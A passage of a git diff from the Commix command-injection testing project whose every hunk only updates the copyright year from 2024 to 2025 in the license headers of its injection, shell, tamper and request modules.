3d2d8fc2cb..4a4e6d4eec 100644 --- a/src/core/injections/results_based/techniques/classic/__init__.py +++ b/src/core/injections/results_based/techniques/classic/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/results_based/techniques/classic/cb_handler.py b/src/core/injections/results_based/techniques/classic/cb_handler.py index 875464f91d..403342f8ca 100755 --- a/src/core/injections/results_based/techniques/classic/cb_handler.py +++ b/src/core/injections/results_based/techniques/classic/cb_handler.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/results_based/techniques/classic/cb_injector.py b/src/core/injections/results_based/techniques/classic/cb_injector.py index 11a2f297e4..5f8c774cff 100755 --- a/src/core/injections/results_based/techniques/classic/cb_injector.py +++ b/src/core/injections/results_based/techniques/classic/cb_injector.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/results_based/techniques/classic/cb_payloads.py b/src/core/injections/results_based/techniques/classic/cb_payloads.py index d6b5af7010..0b8fbba36c 100755 --- a/src/core/injections/results_based/techniques/classic/cb_payloads.py +++ b/src/core/injections/results_based/techniques/classic/cb_payloads.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/results_based/techniques/eval_based/__init__.py b/src/core/injections/results_based/techniques/eval_based/__init__.py index 3d2d8fc2cb..4a4e6d4eec 100644 --- a/src/core/injections/results_based/techniques/eval_based/__init__.py +++ b/src/core/injections/results_based/techniques/eval_based/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/results_based/techniques/eval_based/eb_handler.py b/src/core/injections/results_based/techniques/eval_based/eb_handler.py index 5738dde6f1..66aeaccf14 100755 --- a/src/core/injections/results_based/techniques/eval_based/eb_handler.py +++ b/src/core/injections/results_based/techniques/eval_based/eb_handler.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/results_based/techniques/eval_based/eb_injector.py b/src/core/injections/results_based/techniques/eval_based/eb_injector.py index a97af1d338..1c0aacbc1f 100755 --- a/src/core/injections/results_based/techniques/eval_based/eb_injector.py +++ b/src/core/injections/results_based/techniques/eval_based/eb_injector.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/results_based/techniques/eval_based/eb_payloads.py b/src/core/injections/results_based/techniques/eval_based/eb_payloads.py index a79fade871..54da00abff 100755 --- a/src/core/injections/results_based/techniques/eval_based/eb_payloads.py +++ b/src/core/injections/results_based/techniques/eval_based/eb_payloads.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/semiblind/__init__.py b/src/core/injections/semiblind/__init__.py index 3d2d8fc2cb..4a4e6d4eec 100644 --- a/src/core/injections/semiblind/__init__.py +++ b/src/core/injections/semiblind/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/semiblind/techniques/__init__.py b/src/core/injections/semiblind/techniques/__init__.py index 3d2d8fc2cb..4a4e6d4eec 100644 --- a/src/core/injections/semiblind/techniques/__init__.py +++ b/src/core/injections/semiblind/techniques/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/semiblind/techniques/file_based/__init__.py b/src/core/injections/semiblind/techniques/file_based/__init__.py index 3d2d8fc2cb..4a4e6d4eec 100644 --- a/src/core/injections/semiblind/techniques/file_based/__init__.py +++ b/src/core/injections/semiblind/techniques/file_based/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/semiblind/techniques/file_based/fb_handler.py b/src/core/injections/semiblind/techniques/file_based/fb_handler.py index 4bb664b6a2..c5d9b11b11 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_handler.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_handler.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/semiblind/techniques/file_based/fb_injector.py b/src/core/injections/semiblind/techniques/file_based/fb_injector.py index 4d84b58825..bbf27761ff 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_injector.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_injector.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/semiblind/techniques/file_based/fb_payloads.py b/src/core/injections/semiblind/techniques/file_based/fb_payloads.py index a705755b7e..4699b32c30 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_payloads.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_payloads.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/semiblind/techniques/tempfile_based/__init__.py b/src/core/injections/semiblind/techniques/tempfile_based/__init__.py index 3d2d8fc2cb..4a4e6d4eec 100644 --- a/src/core/injections/semiblind/techniques/tempfile_based/__init__.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py index 3ebc407ac6..38fa3e16b4 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py index 7b6638235d..ccfd412e92 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py index b46ceb3806..74343e6445 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/main.py b/src/core/main.py index f2779f4acc..5fff92aed8 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/modules/__init__.py b/src/core/modules/__init__.py index 3d2d8fc2cb..4a4e6d4eec 100644 --- a/src/core/modules/__init__.py +++ b/src/core/modules/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/modules/modules_handler.py b/src/core/modules/modules_handler.py index e484ac1b34..c40006c673 100644 --- a/src/core/modules/modules_handler.py +++ b/src/core/modules/modules_handler.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/modules/shellshock/__init__.py b/src/core/modules/shellshock/__init__.py index 3d2d8fc2cb..4a4e6d4eec 100644 --- a/src/core/modules/shellshock/__init__.py +++ b/src/core/modules/shellshock/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/requests/__init__.py b/src/core/requests/__init__.py index 3d2d8fc2cb..4a4e6d4eec 100644 --- a/src/core/requests/__init__.py +++ b/src/core/requests/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/requests/authentication.py b/src/core/requests/authentication.py index 33d57107bd..2fea54c0ca 100644 --- a/src/core/requests/authentication.py +++ b/src/core/requests/authentication.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py index dbd24b6bd6..bdf875c641 100755 --- a/src/core/requests/headers.py +++ b/src/core/requests/headers.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/requests/parameters.py b/src/core/requests/parameters.py index 81043ae3c0..d7e2fdabed 100755 --- a/src/core/requests/parameters.py +++ b/src/core/requests/parameters.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/requests/proxy.py b/src/core/requests/proxy.py index 5d0f122ad6..67b6ab0f92 100644 --- a/src/core/requests/proxy.py +++ b/src/core/requests/proxy.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/requests/redirection.py b/src/core/requests/redirection.py index 5adc02792a..f6fcfdeb5c 100755 --- a/src/core/requests/redirection.py +++ b/src/core/requests/redirection.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py index 0b616e0a8e..d5e09c27d4 100755 --- a/src/core/requests/requests.py +++ b/src/core/requests/requests.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/requests/tor.py b/src/core/requests/tor.py index fd2e0b0944..ce1f34df33 100644 --- a/src/core/requests/tor.py +++ b/src/core/requests/tor.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/shells/__init__.py b/src/core/shells/__init__.py index 3d2d8fc2cb..4a4e6d4eec 100644 --- a/src/core/shells/__init__.py +++ b/src/core/shells/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/shells/bind_tcp.py b/src/core/shells/bind_tcp.py index 840519ddb7..5dd0efa080 100755 --- a/src/core/shells/bind_tcp.py +++ b/src/core/shells/bind_tcp.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/shells/reverse_tcp.py b/src/core/shells/reverse_tcp.py index c953f01723..d8589a47ba 100755 --- a/src/core/shells/reverse_tcp.py +++ b/src/core/shells/reverse_tcp.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/tamper/__init__.py b/src/core/tamper/__init__.py index 3d2d8fc2cb..4a4e6d4eec 100644 --- a/src/core/tamper/__init__.py +++ b/src/core/tamper/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/tamper/backslashes.py b/src/core/tamper/backslashes.py index 753ed59ba8..4321d0c27c 100644 --- a/src/core/tamper/backslashes.py +++ b/src/core/tamper/backslashes.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/tamper/backticks.py b/src/core/tamper/backticks.py index 169b8ccd88..a9d1c80086 100644 --- a/src/core/tamper/backticks.py +++ b/src/core/tamper/backticks.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/tamper/base64encode.py b/src/core/tamper/base64encode.py index f55496ab4b..5d6b299b44 100644 --- a/src/core/tamper/base64encode.py +++ b/src/core/tamper/base64encode.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/tamper/caret.py b/src/core/tamper/caret.py index 9eb272a0f3..ae7d6ae191 100644 --- a/src/core/tamper/caret.py +++ b/src/core/tamper/caret.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/tamper/dollaratsigns.py b/src/core/tamper/dollaratsigns.py index 9e5b32a599..5a8329e493 100644 --- a/src/core/tamper/dollaratsigns.py +++ b/src/core/tamper/dollaratsigns.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/tamper/doublequotes.py b/src/core/tamper/doublequotes.py index fb39b96715..0af8229673 100644 --- a/src/core/tamper/doublequotes.py +++ b/src/core/tamper/doublequotes.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/tamper/hexencode.py b/src/core/tamper/hexencode.py index 3aac4fe9b6..b76dd2bb7f 100644 --- a/src/core/tamper/hexencode.py +++ b/src/core/tamper/hexencode.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/tamper/multiplespaces.py b/src/core/tamper/multiplespaces.py index 2e4acc3b6a..a5e32727e8 100644 --- a/src/core/tamper/multiplespaces.py +++ b/src/core/tamper/multiplespaces.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/tamper/nested.py b/src/core/tamper/nested.py index fc57e89885..c594a4b0b9 100644 --- a/src/core/tamper/nested.py +++ b/src/core/tamper/nested.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/tamper/printf2echo.py b/src/core/tamper/printf2echo.py index 3595db0a1a..bdb3d262eb 100644 --- a/src/core/tamper/printf2echo.py +++ b/src/core/tamper/printf2echo.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/tamper/rev.py b/src/core/tamper/rev.py index c4b952c2b2..55993592e2 100644 --- a/src/core/tamper/rev.py +++ b/src/core/tamper/rev.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/tamper/singlequotes.py b/src/core/tamper/singlequotes.py index 4dc132d756..6fcb308c08 100644 --- a/src/core/tamper/singlequotes.py +++ b/src/core/tamper/singlequotes.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/tamper/slash2env.py b/src/core/tamper/slash2env.py index e37c577925..8a98d650ae 100644 --- a/src/core/tamper/slash2env.py +++ b/src/core/tamper/slash2env.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/tamper/sleep2timeout.py b/src/core/tamper/sleep2timeout.py index afbdffc64d..b4df1750e8 100644 --- a/src/core/tamper/sleep2timeout.py +++ b/src/core/tamper/sleep2timeout.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/tamper/sleep2usleep.py b/src/core/tamper/sleep2usleep.py index e209b5035f..68cf65c0b4 100644 --- a/src/core/tamper/sleep2usleep.py +++ b/src/core/tamper/sleep2usleep.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/tamper/space2htab.py b/src/core/tamper/space2htab.py index 00bb24e5b1..8e9ba90d17 100644 --- a/src/core/tamper/space2htab.py +++ b/src/core/tamper/space2htab.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/tamper/space2ifs.py b/src/core/tamper/space2ifs.py index 65a79a4167..4ed0b1b5cb 100644 --- a/src/core/tamper/space2ifs.py +++ b/src/core/tamper/space2ifs.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/tamper/space2plus.py b/src/core/tamper/space2plus.py index ce3ec4c88e..c34988cb53 100644 --- a/src/core/tamper/space2plus.py +++ b/src/core/tamper/space2plus.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/tamper/space2vtab.py b/src/core/tamper/space2vtab.py index bdb7688f12..2535bc147a 100644 --- a/src/core/tamper/space2vtab.py +++ b/src/core/tamper/space2vtab.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/tamper/uninitializedvariable.py b/src/core/tamper/uninitializedvariable.py index 0abfc9701f..e8902c74a5 100644 --- a/src/core/tamper/uninitializedvariable.py +++ b/src/core/tamper/uninitializedvariable.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/tamper/xforwardedfor.py b/src/core/tamper/xforwardedfor.py index 39e0543b4f..e6110a555c 100644 --- a/src/core/tamper/xforwardedfor.py +++ b/src/core/tamper/xforwardedfor.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/testing.py b/src/core/testing.py index c045ac66c1..17cb26ffd1 100644 --- a/src/core/testing.py +++ b/src/core/testing.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/thirdparty/__init__.py b/src/thirdparty/__init__.py index 3d2d8fc2cb..4a4e6d4eec 100644 --- a/src/thirdparty/__init__.py +++ b/src/thirdparty/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/utils/__init__.py b/src/utils/__init__.py index 3d2d8fc2cb..4a4e6d4eec 100644 --- a/src/utils/__init__.py +++ b/src/utils/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/utils/colors.py b/src/utils/colors.py index 17c5b38474..9a4044db07 100644 --- a/src/utils/colors.py +++ b/src/utils/colors.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/utils/common.py b/src/utils/common.py index 6210a51a55..8794fcce53 100644 --- a/src/utils/common.py +++ b/src/utils/common.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/utils/crawler.py b/src/utils/crawler.py index 902c5a1ad1..bbb169a941 100644 --- a/src/utils/crawler.py +++ b/src/utils/crawler.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). 